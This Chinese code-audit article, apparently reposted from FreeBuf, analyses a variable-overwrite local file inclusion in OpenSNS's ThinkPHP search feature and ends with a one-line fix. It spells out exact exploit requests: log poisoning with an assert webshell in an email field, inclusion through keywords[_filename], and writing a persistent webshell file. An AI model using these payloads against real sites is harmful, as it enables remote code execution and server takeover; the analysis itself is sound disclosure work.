代码审计-opensns本地文件包含可rce – 作者:黑豹cyd0

  • 0x01 简介

OpenSNS是想天科技开发的一款综合性社交软件。您可以使用OpenSNS快速搭建一个类似于新浪微博一样的功能强大的社交网站。您的社交网站也可以在微信中被访问,还支持苹果和安卓手机通过APP的形式使用。除此之外,OpenSNS还提供云市场进行功能扩展,大量的扩展让你的网站如虎添翼。

  • 0x02 代码分析

跟踪到/Application/Home/Controller/IndexController.class.php中的search方法。

1598433084.png!small

84 Line : 获取从POST传入的keywords参数值并赋给$keywords

94 Line:将$keywords设置为模版变量

96 Line:调用基类中的display方法将模版输出到页面

跟踪到/ThinkPHP/ThinkPHP/Library/Think/View.class.php中的assign方法

1598433100.png!small

39~41 Line:判断参数$name是否是数组,如果是那么就将$name合并到当前类中的tVar属性中

跟踪到/ThinkPHP/ThinkPHP/Library/Think/View.class.php中的display方法

1598433115.png!small

76 Line:将参数$templateFile、$content、$prefix传入当前类中的fetch方法中

跟踪到/ThinkPHP/Library/Think/View.class.php中的fetch方法

1598433130.png!small

1598433135.png!small

129 Line:将$this->tVar、$templateFile、$content、$prefix组合为数组并赋给$params

130 Line:调用Hook静态类中的listen方法并将view_parse(/ThinkPHP/ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php)及$params传入其中

跟踪到/ThinkPHP/ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php中的run方法

1598433157.png!small

1598433161.png!small

跟踪到/ThinkPHP/ThinkPHP/Library/Think/Template.class.php中的fetch方法

1598433174.png!small

77 Line:调用Storage\Driver\File中的load方法并将$templateCacheFile、$this->tVar传入其中

跟踪到/ThinkPHP/ThinkPHP/Library/Think/Storage/Driver/File.class.php中的load方法

1598433185.png!small

85 Line判断$vars不为null的时候那么就将$vars这个数组中的参数初始化为变量,从而产生了变量覆盖导致本地文件包含

  • 0x03 调试

包含站点根目录下任意一个创建文件

1598433203.png!small

Url:http://localhost:86/index.php?s=/home/index/search.html

POST:keywords[_filename]=./1.txt

1598433214.png!small

将1.txt中的内容替换为<?php phpinfo();?>

1598433225.png!small

  • 0x04 漏洞利用

该程序默认开启了日志记录,日志路径为/Runtime/Logs/模块/年_月_日.log(/Runtime/Logs/Home/20_08_25.log)

访问:http://localhost:86/index.php?s=/ucenter/member/mi.html

1598433237.png!small

在邮箱中输入<?php assert(@$_REQUEST[b])?>.com

1598433247.png!small

这样就在./Runtime/Logs/Ucenter/20_08_25.log中生成了日志

1598433260.png!small

访问:http://localhost:86/index.php?s=/home/index/search.html&b=phpinfo();

POST:keywords[_filename]=./Runtime/Logs/Ucenter/20_08_25.log

1598433272.png!small

Url:http://localhost:86/index.php?s=/home/index/search.html&b=file_put_contents(“1.php”,”<?php assert(@\$_REQUEST[‘ceshi’]);?>”);

POST:keywords[_filename]=./Runtime/Logs/Ucenter/20_08_25.log

1598433283.png!small

1598433288.png!small

1598433293.png!small

  • 0x05 漏洞修复

1598433304.png!small

将94行改为$this->assign(“keywords”,$keywords);

1598433315.png!small

来源:freebuf.com 2020-08-26 17:22:35 by: 黑豹cyd0

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论